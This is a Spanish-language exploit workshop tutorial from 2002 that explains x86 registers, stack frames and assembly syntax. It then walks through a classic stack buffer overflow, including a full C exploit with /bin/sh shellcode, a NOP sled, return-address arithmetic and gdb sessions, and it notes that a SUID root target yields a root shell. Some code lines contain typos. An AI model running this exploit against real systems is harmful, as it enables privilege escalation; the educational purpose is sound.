Taller de exploits

Anuncio
Taller de exploits
Pau Oliva Fora <[email protected]> Octubre, 2002
Introducción
Estructuras de datos
BIT, NIBBLE, BYTE, WORD, DWORD, PARA, KiloBYTE, MegaBYTE, GigaBYTE
NIBBLE == 1111 == 15 en decimal, que es el tamaño mayor en HEX (0Fh)
El mayor valor de un BYTE es 11111111 == 255 decimal o 0FFh en HEX
1 WORD == 2 BYTES == 16-bit == 65,535 == 0FFFFh == 1111111111111111
Utilizamos este tamaño para direccionar 16 bits
registros: AX, BX, CX, DX, DI, SI, BP, SP, CS, DS, ES, SS, IP
DWORD -> 32-bit address (máximo en x86)
PARA -> Una @ de mem divisible por 16 se llama "Paragraph Boundary"
"Paragraph Boundary": 0, 10h, 20h, 30h... (10h = 16 decimal)
65535 == 64K == 10000h. Entero más grande almacenable en x86
Registros de la CPU i386 ( I )
AX,BX,CX,DX: registros de propósito general
● ES,DS,CS,SS: registros de segmento
● SI,DI,BP: registros índice
● IP,SP,F: registros especiales
Estos registros son de 16-bit
●
Se dividen en parte alta (8-bit) y baja (8-bit)
Los registros de 32-bit tienen una 'E' delante (extended)
Más adelante veremos algunos más detalladamente
Segmentos i offsets
CPU i386 sólo es capaz de ver 1MB de memoria (@ 20-bit)
Los registros son de 16-bit
Para almacenar una @ de 20-bit usamos 2 registros
Un registro para la @ de segmento, y el otro para el offset
La @ completa de 1 byte en la cpu se guarda en segmento:offset
Normalmente se utiliza DS:SI
El segmento nos muestra un bloque de memoria de 64K (paragraph boundary)
El offset nos posiciona en la parte correcta de dicho bloque
segment address: 0010010000010000---offset address: ----0100100000100010
20-bit address: 00101000100100100010
20-bit address: segment address * 16 + offset address
Guardamos datos en un byte llamado Data
Tenemos cuatro maneras de acceder a Data:
● 0000h:3Dh
● 0001h:2Dh
● 0002h:1Dh
● 0003h:0Dh
Registros de la CPU i386 ( II )
CS: Code Segment, conitene información sobre el programa que se está ejecutando no podemos
cambiar su contenido, podemos cambiar su valor saltando a otro registro
DS: Data Segment, podemos almacenar la @ de segmento de un dato en este registro
SS: Stack Segment, contiene la dirección de segmento donde empieza la pila
ES: Extra Segment, nos sirve para especificar una posición de memoria
IP: Instruction Pointer, contiene la @ de offset de la siguiente instrucción que se ejecutará. Cada
vez que se ejecuta una instrucción, IP se incrementa en el número de bytes que ocupa la
instrucción.
●
●
●
●
●
CS contiene la dirección de segmento de IP.
Combinando CS:IP podemos conocer la @ de 20-bit de la siguiente instrucción
La pila (stack)
Es un espacio de memoria reservado para los datos que utiliza un programa
Tiene estructura LIFO (Last In First Out)
SS guarda la @ de segmento del espacio de memória reservado para la pila
El registro SP apunta a posiciones de datos concretos dentro de este espacio
La pila empieza en SS:0
Cuando la pila esta vacia, SP apunta al final de la pila
La pila va de SS:00 a SS:SP
Para colocar un dato al principio de la pila utilizamos PUSH
Para extraer un dato del principio de la pila utilizamos POP
● El Frame Pointer (FP):
- Es un registro virtual que apunta a una dirección fija de la pila (marco) concretamente al
"comienzo" de la zona de variables locales de una función
- Lo crea el compilador para referenciar variables o parámetros dentro la pila
- Cada función tiene su própio FP
- En i386 se almacena en el regisro BP ya que así no se modifica el valor de SP
Diferencias entre ensamblador de Intel (DOS & WIN) y de
AT&T (UNIX)
En Intel utilizamos:
mov destino, origen
push 4
En AT&T utilizamos:
movl %origen, %destino
pushl $4
En AT&T ponemos el carácter '%' delante de cada registro
En AT&T ponemos el carácter '$' delante de cada operador inmediato
"movl" indica que estamos moviendo una variable de tipo long
Utilizamos "movb" para mover un byte, o "movw" para mover una word, etc...
Los comentarios empiezan por '#', mientras que en DOS empiezan por ';'
Práctica 1
Copiar el siguiente programa:
●
void funcion(int a, int b, int c, int d) {
}
void main() {
int a,b,c,d;
funcion(a,b,c,d);
}
Compilarlo:
●
$ gcc -S programa.c -o programa1.s
$ gcc -S programa.c -o programa2.s -fomit-frame-pointer
Comparar programa1.s y programa2.s
●
Código ASM que genera main():
pushl %ebp
movl %esp,%ebp
subl $24,%esp
movl -16(%ebp),%eax
pushl %eax
# pushl $d
movl -12(%ebp),%eax
pushl %eax
# pushl $c
movl -8(%ebp),%eax
pushl %eax
# pushl $b
movl -4(%ebp),%eax
pushl %eax
# pushl $a
call funcion
.L3:
movl %ebp,%esp
popl %ebp
ret
CALL hace un push de IP a la pila automáticamente
El valor de IP almacenado en la pila es lo que se conoce como "return address" o dirección de retorno.
Código ASM que genera funcion():
pushl %ebp
movl %esp,%ebp
.L2:
movl %ebp,%esp
popl %ebp
ret
●
Parte marcada en amarillo:
Es el proceso "prologo", donde se prepara el stack frame (marco de pila) para la función
Se guarda el FP del marco de la función anterior (main) en la pila.
Con esto dejamos libre %ebp para que pueda ser reescrito.
Parte marcada en verde:
Es el proceso proceso "epílogo", se ejecuta despues de cada función y tiene como misión acabar con el
marco de pila actual y rescatar el anterior, es decir, dejar todo como estaba antes de ejecutar la función
●
Buffer Overflow
Concepto de buffer overflow
Un buffer es una parte de memoria que se reserva para guardar un dato de un tamaño determinado
Un desbordamiento de buffer, o "buffer overflow" ocurre cuando introducimos datos de un tamaño más
grande que el que hemos reservado para el buffer
Ejemplo 1
#include <string.h>
void funcion(char *str) {
char buffer[16];
strcpy(buffer, str);
}
void main() {
char bigString[256];
int i;
for( i = 0; i < 255; i++)
bigString[i] = 'A';
funcion(bigString);
}
Si compilamos y ejecutamos este programa obtendremos un 'Segmentation fault' o violación de
segmento.
Esto ocurre por que strcpy() copia el contenido de *str bigString en buffer[] hasta que encuentra un
carácter NULL en la string.
buffer[] es mucho más pequeño que *str, tiene 16 carácteres, mientras que *str tiene 256, obviamente
algo tiene que pasar con los 240 carácteres que sobran. Estos carácteres sobreescribirán las posiciones
adyacentes de la pila, esto incluye el Frame Pointer (SFP) y la dirección retorno a IP (RET) almacenadas
en la pila.
Como hemos rellenado *str con A's y el valor HEX de A és 0x41, la dirección de retorno será ahora
0x41414141 y esto está fuera del espacio de memoria del proceso, es por eso que obtenemos el error de
violación de segmento.
Practica 2
●
Copiar el siguiente código en C:
#include <string.h>
void main(int argc, char **argv, char **envp) {
char varS[1024];
strcpy(varS, getenv("varT"));
}
Ahora veremos como escribir un exploit sencillo para explotar el fallo
Código en ASM:
pushl %ebp
movl %esp,%ebp
subl $1024,%esp
[ ... ]
Notese que en la últma linea estamos reservando 1024 bytes en la pila
●
Compilar y desensamblar el programa con gdb:
$ gcc practica2.c -o practica2
$ export varT=`perl -e"print 'A'x'2048'"`
$ gdb practica2
(gdb) break main
Breakpoint 1 at 0x8048479
(gdb) run
(gdb) disassemble
0x80484a1 <main+49>: ret
(gdb) break *0x80484a1
(gdb) cont
(gdb) stepi
(hasta que se produzca SIGSEV)
Repetimos el proceso, fijandonos en el valor de los registros:
$ gdb practica2
(gdb) break main
Breakpoint 1 at 0x8048479
(gdb) run
(gdb) info registers
ebp 0xbffff14c 0xbffff14c
(gdb) x/5xw 0xbffff14c (ejecutar: help x/)
0xbffff14c: 0xbffff188 0x400363c0 0x00000001 0xbffff1b4
0xbffff15c: 0xbffff1bc
●
0xbffff188 es el valor de EBP antes de ser PUSHeado a la pila
●
0x400363c0 es la dirección de retorno (RET)
●
0x00000001 es argc (el número de argumentos)
●
0xbffff1b4 es argv
●
0xbffff1bc es envp
Cuando copiamos 1024 + 8 bytes sobreescrimos la dirección de retorno (RET) con el valor que hayamos
puesto en esos 8 bytes, haciendo saltar el flujo de ejecución del programa hacia nuestro código, que hace
lo que nosotros queramos (por ejemplo ejecutar una shell)
Nuestro código, tendrá que caber en los primeros 1024 bytes, si es mas pequeño llenaremos los primeros
carácteres con NOPs, este código es lo que se conoce como shellcode o egg (huevo).
Si hacemos que "varT" tenga como valor un montón de NOPs, la shellcode, y una dirección de retorno
(RET), podemos conseguir lo que buscamos ;)
Y pasamos a la implementación del exploit...
#include <stdring.h>
#include <stdlib.h>
long get_esp(void) {
__asm__("movl %esp,%eax\n");
}
char *shellcode =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char varS[1034];
int i;
char *varS1;
#define STACKFRAME (0xc00 - 0x818)
void main(int argc,char **argv,char **envp) {
strcpy(varS,"varT=");
varS1 = varS+5;
while (varS1<varS+1028+5-strlen(shellcode)) *(varS1++)=0x90;
while (*shellcode) *(varS1++)=*(shellcode++);
*((unsigned long *)varS1)=get_esp()+16-1028-STACKFRAME;
printf("%08X\n",*((long *)varS1));
varS1+=4;
*varS1=0;
putenv(varS);
system("/bin/bash");
}
Colocamos NOPs (\x90) en varS
while (varS1<varS+1034+5-strlen(shellcode)) *(varS1++)=0x90;
●
●
Copiamos la shellcode despues de los NOPs
while (*shellcode) *(varS1++)=*(shellcode++);
●
Finalmente, colocamos la dirección de retorno que calculamos
*((unsigned long *)varS1)=get_esp()+16-1028-STACKFRAME;
●
Compilar y ejecutar el exploit:
$ gcc exploit.c -o exploit
$ ./exploit
BFFFF140
$ ./practica2
bash#
Si el programa tiene el flag SUID y pertenece al usuario root obtendremos una shell de root.
Cuando escribamos exploits para sobrebordar un buffer hay que que ir con cuidado con el valor que
asignamos a STACKFRAME, ya que de él dependerá nuestro éxito.
El siguiente programa imprimirá el valor de ESP antes de que se inicialice el Stack Frame (SF):
long get_esp(void) {
__asm__("movl %esp,%eax\n");
}
void main() {
printf("%08X\n",getesp()+4);
}
Descargar